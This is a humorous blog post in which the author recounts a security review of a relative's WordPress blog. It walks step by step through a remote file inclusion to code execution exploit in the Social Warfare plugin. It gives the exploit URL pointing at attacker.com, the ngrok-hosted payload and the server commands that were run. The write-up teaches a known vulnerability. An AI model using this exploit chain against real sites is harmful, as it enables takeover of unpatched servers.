The $300 Journey from RFI to RCE that Changed Everything

4 days ago 19
BOOK THIS SPACE FOR AD
ARTICLE AD

Dhabaleshwar Das

This story dates back to about three years ago, but it’s one of those incidents that stuck with me. So, I thought, why not share it as my first blog on Medium? It’s a story about passion, curiosity, and how a casual call turned into an unexpected adventure in cybersecurity. And before you ask — yes, the screenshots I’ve added here are from my localhost. I recreated everything to document it later because, unfortunately, I can’t share the original screenshots for obvious reasons. So, let’s start from the beginning.

It was a lazy Sunday afternoon when I got a call from my friend, Karan. Now, Karan is one of those friends who never calls unless it’s something major — like needing a kidney or borrowing your bike for a date.

“Bhai, mujhe teri help chahiye, (Bro, I need your help!)” he said, sounding unusually serious.

“What happened? Did you crash your bike again?” I replied, half-joking.

“No, no, it’s about my uncle Rajesh. Remember him?”

“Ah, the legendary Rajesh Uncle. The man, the myth, the teacher who thinks WhatsApp forwards are actual news. Of course, I remember.”

“Listen, his blog has been doing really well lately, but he’s worried about its security. Can you take a look?”

Now, let me tell you about Rajesh Uncle. He’s a schoolteacher by profession, the kind who makes terrible puns in class but is adored by his students. His blog was his side passion — a quirky little corner of the internet where he wrote about everything from life lessons to local politics to DIY home hacks. For years, it barely got any traffic. In his words, “Even Google ignored my blog.”

But a few months ago, one of his articles went viral. Suddenly, he was getting 50,000 to 70,000 visitors a month, and his Adsense earnings shot up to $500–$800. For a schoolteacher with a modest salary, this was huge.

“Okay, but what’s the problem?” I asked.

“Well, the site hasn’t been updated in years. He’s scared that if he updates it, something might break. And a few weeks ago, someone hit the site with a DoS attack, making it temporarily unavailable for 4 hours. He wants to make sure it’s secure before doing anything.”

“Got it. I’ll take a look,” I said, already feeling intrigued.

The next day, I got the site’s link. I didn’t bother asking for the password — I wanted to go full black-box, like a hacker would. It looked decent at first glance. Simple layout, well-written articles, and no visible signs of trouble. But as we say in cybersecurity, “It’s always what’s beneath the surface.”

I started with the basics — checked the WordPress version, directories, plugins, and general configuration. The WordPress installation wasn’t horribly outdated, but it wasn’t up to date either. Then I ran through my mental checklist of vulnerabilities:

XML-RPC API: Enabled. A classic entry point for attackers.wp-cron.php: Publicly accessible, can be used for DOS attacks.Directory Listings: Open. Anyone could casually browse the server files like a Netflix catalog.Backup Files: Found a juicy “wp-config.php” backup just lying around.Admin Username: It was literally “admin.” Come on, Rajesh Uncle, even WordPress tutorials tell you not to do this.Outdated Plugins and Themes: It was like walking through a graveyard of vulnerabilities.

I called Karan.

“Bhai, your uncle’s blog is like a house with no doors, no locks, and a sign that says, ‘Please rob me.’ Fixing this will take some time.”

“Can you do it?” he asked, sounding genuinely worried.

“Of course. But let me dig a little deeper first.”

So, I found out a lot of basic wordpress vulnerabilities like the ones listed above. Let me tell you something about myself. I’ve always had a soft spot for WordPress. There’s something fascinating about it — millions of websites running on it, each with its own quirks and vulnerabilities. Over the years, I’ve developed my own methods for finding bugs. Instead of running WPScan or relying on online tools, I prefer downloading plugins directly from the site and analyzing the code. It’s more time-consuming, but it’s also more rewarding.

I used Wappalyzer to identify the plugins installed on the site. Most of the plugins were outdated, I then downloaded their code and analyzed it to find various XSS (Reflected & Stored) and Open Redirections.

Several plugins were accepting user input from a variable and directly reflecting it in the response without proper validation or encoding, allowing malicious scripts to be executed in the user’s browser.

None of these vulnerabilities impressed me. I felt like a defeated knight, searching for a battle worth fighting. I craved something bigger, something truly game-changing.

And then, like an answer to my silent plea, I found it. Tucked away in the application was the last plugin installed: Social Warfare, limping along on version 3.5.0 — clearly outdated and begging for trouble.

Instead of Googling for known vulnerabilities, I decided to download the plugin’s source code directly from the WordPress website. Why? Because analyzing the code gives you a better chance of finding something unique — maybe even a zero-day vulnerability.

While manually analyzing the code for it, I came across a file called “SWP_Database_Migration.php” file. The primary purpose of it was to handle database migrations, initialize default settings, and provide debugging and maintenance utilities for the plugin.

Inside this file, I found an interesting function: file_get_contents. If not configured properly, this function can lead to vulnerabilities like LFI, SSRF, Directory Enumeration, and even RFI. Finding it felt like hitting a goldmine!

file_get_contents that causes LFI, SSRF and even RFI
file_get_contents function

The moment I spotted file_get_contents, I got so excited that I didn’t even bother reading the rest of the code and jumped straight into crafting an exploit. Of course, this overconfidence came back to bite me later (don’t worry, I’ll explain that mess in this blog too). Looking back, 3 years ago, I was probably a little too overenthusiastic —like someone shaking a soda can and opening it right after. Anyway, before I start rambling about my mistakes, let’s first understand the code!

Step 1: Debug Check

if ( true == SWP_Utility::debug(‘load_options’) ) {

This line checks if the debug() method of the SWP_Utility class returns true for the parameter ‘load_options’.The SWP_Utility::debug(‘load_options’) is essentially a condition that determines if the load_options debugging feature is enabled.If it evaluates to true, the code inside this block will execute.

Step 2: Authorization Check

if (!is_admin()) {

wp_die(‘You do not have authorization to view this page.’);

}

is_admin() sounds fancy, right? It checks if the current page belongs to the WordPress admin interface.But here’s the kicker: it doesn’t actually care if the user is authenticated or has admin privileges. Nope, it just checks if the request looks like it’s for an admin page.If the page is not an admin page (!is_admin()), the function wp_die() stops the execution of the script and displays the message:
You do not have authorization to view this page.

Now, the funny thing is this check is totally superficial. 😂 It doesn’t actually verify if the user is logged in or has admin rights. It’s all for show, like wearing sunglasses at night!

Step 3: Fetching Remote Data

$options = file_get_contents($_GET[‘swp_url’] . ‘?swp_debug=get_user_options’);

file_get_contents() is a PHP function used to read the contents of a file or URL.In this case, it fetches data from a URL provided in the swp_url GET parameter ($_GET[‘swp_url’]).The URL is appended with ?swp_debug=get_user_options to request specific data from the target.

Step 4: Forming the Exploit URL

Now, comes the most interesting part, crafting the exploit url. After understanding all these things forming the exploit URL was simple:

Base URL: Every WordPress site has /wp-admin/admin-post.php for handling plugin-related tasks.Add Debug Parameters: The plugin uses swp_debug to trigger specific actions. Here, I used, because of the code requirement: swp_debug=load_optionsAdd Malicious URL: The swp_url parameter allows fetching external data, so I supplied:
swp_url=http://attacker.com/payload.txt

The final URL looked like this:

http://vulnerable-website.com/wp-admin/admin-post.php?swp_debug=load_options&swp_url= http://attacker.com/payload.txt

Here, we clearly see that the plugin is vulnerable to RFI (Remote File Inclusion). The file_get_contents() function fetches content from a remote URL ($_GET[‘swp_url’]). This allows attackers to host malicious content on their own server and trick the plugin into fetching it.

My next step was to set up my attacking server and host a file there. Unfortunately, I didn’t have a VPS back then. So I did it the free way, using ngrok.

Ngrok is a powerful tunneling tool that exposes your local server to the internet. Essentially, it creates a secure tunnel between your local machine (where your server or application is running) and the public internet. It provides a publicly accessible URL (like https://xyz-id.ngrok.io) that redirects traffic to your local machine.

ngrok- tunneling tool

For newbies reading my blog, let me simplify even further.

In simpler terms:

Imagine you’re hosting a small website on your laptop, and someone across the globe wants to access it. Normally, they wouldn’t be able to, as your laptop isn’t publicly accessible.Ngrok solves this problem by acting as a bridge. It gives you a public-facing URL that maps directly to your local application.

I created a simple file called payload.txt containing the malicious PHP code:

<?php system(‘whoami’); ?>

I saved this file in my local server directory.

Then I ran a simple command like:

ngrok http 80

Ngrok generated a public URL (e.g., https://50bd-122-171-23-34.ngrok-free.app) and mapped it to my local server running on port 80.

ngrok installed

I could access my payload globally now!

payload accessible

Now, that everything has been configured, it’s exploit time. Using the Ngrok’s public URL, I crafted the malicious exploit URL:

http://localhost/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=https://50bd-122-171-23-34.ngrok-free.app/payload.txt

This tricked the vulnerable plugin into fetching and executing my payload from my local machine. Simple, right? Boom, RCE achieved! Time to sit back with some chai and enjoy my moment of glory, right? Wrong! Oh so wrong! My payload decided to take a nap instead of executing.

RFI successful but no RCE

I stared at the browser like an aunty judging your life choices. “Yeh kya ho raha hai? (What is happening here?)” I refreshed the page again, and again, and again. Nothing. The plugin was mocking me, just like my relatives do when I say I work in cybersecurity instead of “software engineer at TCS.”

Now, I’m not someone who gives up easily — especially not when I’m this close to RCE (Remote Code Execution). I needed answers, and fast. So, I turned to my trusty ngrok logs. And what did I find? Proof! The URL was being called! The plugin was actually fetching my payload. “Ah-ha! Bach gaya! (Got it!)” I thought. But wait, hold your horses — why wasn’t it executing? This was like ordering biryani and getting plain rice instead — it hurt on a spiritual level.

ngrok logs shows RFI being successful

At this point, it felt like the plugin was behaving like a stubborn landlord. “Sure, I’ll fetch your payload, but execute it? Haan, sapne mein (Yeah, only in your dreams)!” My excitement turned into frustration faster than my parents asking when I’ll get married. But giving up? That’s not in my blood. I took a deep breath, adjusted my imaginary hacker glasses, and got ready to dig deeper. I wasn’t going to let a plugin ruin my chai moment.

This was just the beginning of the real fight. And trust me, the best drama was yet to come.

Remember when I said I didn’t read the whole code and just jumped straight into crafting the exploit? Well, that came back to bite me harder than a mosquito during monsoon.

I had rushed into it like an overconfident chef who skipped reading the recipe, thinking, “Eh, I’ve made biryani before, how hard can this be?” Turns out, it was more like trying to make biryani without rice — I missed a crucial detail. The detail? The payload needed to be wrapped in <pre> tags. Yes, <pre>. Those tiny little tags were the whole key to the exploit, and I had just skimmed over them like they were the credits at the end of a movie.

Now, that I was humbled let’s dive into the complete code to understand what those tiny cute little “<pre>” tags were.

Vulnerable code with rfi and rce causing functions (file_get_contents and eval)
Vulnerable code for RFI & RCE (with file_get_contents and eval)

You already know the drill until line 232, where the $options variable is set. That part is simple enough — it fetches content from the remote URL provided in the swp_url parameter. But the real drama unfolds right after that, where the fetched content starts going through a series of validations and transformations.

Here, the code checks if the fetched content is empty. If it is, it stops with a polite “nothing found.” It’s like ordering biryani, and the delivery guy shows up with an empty box — you’re not letting him leave without a scolding, are you?

Ah, the <pre> tags. The code checks if the fetched content starts with <pre>. If it doesn’t, the plugin throws an error saying, “No Social Warfare found.”

Only people with <pre> are allowed

Think of <pre> as a card that is needed to attend a fancy party. No card? No entry. It’s non-negotiable. The plugin expects all content to start with <pre> because it’s too lazy to validate anything else. I had missed this requirement initially, and my payload was rejected.

Once the content passes the <pre> check, the plugin strips the <pre> tags using str_replace() and keeps only the content between <pre> and </pre> using substr().

For newbies, It’s like an Indian wedding where you remove your fancy wedding invite at the gate and only carry the mithai/sweets box inside. The invite served its purpose — it got you through the door.

Now, the extracted content is wrapped inside a return statement and a semicolon, converting it into a valid PHP statement.

Here comes the star of the show: eval(). This function executes the payload as PHP code. If the payload says system(‘whoami’);, it will execute that command on the server. But if the payload has any syntax errors, it’ll throw a ParseError.

Now that I figured out what I was missing, I went ahead and crafted my payload again. This time, I made sure to include the <pre> tags and created it like this:

<pre>system(‘whoami’);</pre>

And you can see that now the payload was successfully executed.

whoami command

Feeling like a hacker straight out of a movie, I threw in a few more commands — net user, ipconfig, dir, you name it — and they all executed perfectly. Just like that, what started as a simple RFI quickly leveled up to full-on RCE.

Oh, that adrenaline rush — it’s moments like these that remind me why I got hooked on cybersecurity in the first place!

net user command
ipconfig command

Once I confirmed the RFI and RCE vulnerabilities, I documented everything and called up Rajesh Uncle. We hopped on a WhatsApp video call, and I explained the whole situation. He looked at me like I had just saved his blog from going extinct.

“Beta,” he got emotional, “this blog is not just a website for me. It’s my dream, my connection to the world.” (I totally understood — if my side hustle paid me more than my full-time job, I’d be emotional too!)

“Uncle, I understand. Just make sure you update everything and get a good developer to redesign the site,” I replied.

But no Indian uncle would let you leave without forcing something on you. Despite my repeated refusals, he transferred $300 (about 21,000 INR back then) to my account. “This is not payment — it’s my gratitude,” he said. “You’ve saved my hard work, my passion.”

I was overwhelmed. That moment reminded me why I chose this path. It wasn’t just about finding bugs; it was about helping people protect what matters to them.

As I was documenting everything, I thought, “Why not report this as a zero-day to WPScan?” But when I looked it up, someone had already beaten me to it. The vulnerability had been reported two years earlier, and a CVE had already been assigned.

Did I feel bad? Not really. Sure, I could’ve Googled the CVE and saved myself the trouble, but where’s the fun in that? The joy is in the journey — getting your hands dirty, making mistakes, and learning along the way.

Following this method, I have found multiple Zero Days in clients websites and also got CVEs assigned to my name.

Looking back, this wasn’t just another bug hunt. It was a journey filled with emotions, challenges, and the satisfaction of knowing I made a difference. Since then, I’ve gone on to discover multiple zero-days, and today, I proudly have over 300 CVEs to my name. But this incident? It still holds a special place in my heart.

Thank you for reading this far. If this story made you laugh, inspired you, or entertained you, give it a clap (or ten). This is my first blog, so go easy on me in the comments. My writing style is a bit quirky because I want this to be relatable to everyone, not just professionals.

Also, while we’re at it, what’s the weirdest or most hilarious bug you’ve ever come across? Maybe the one that made you question your life choices or sent you on a wild goose chase? Share it in the comments — I’d love to swap stories.

Here’s to more bugs, more laughs, and plenty more cybersecurity adventures. Follow me if you want to hear more tales, because this is just the start of a very messy (but fun) journey.

P.S.: The screenshots are from my localhost setup because, let’s be real, sharing the real ones would be like airing my laundry in a thunderstorm — not a smart move. And the names of people? Completely made up — because I value privacy (and avoiding awkward emails). Cheers!

Read Entire Article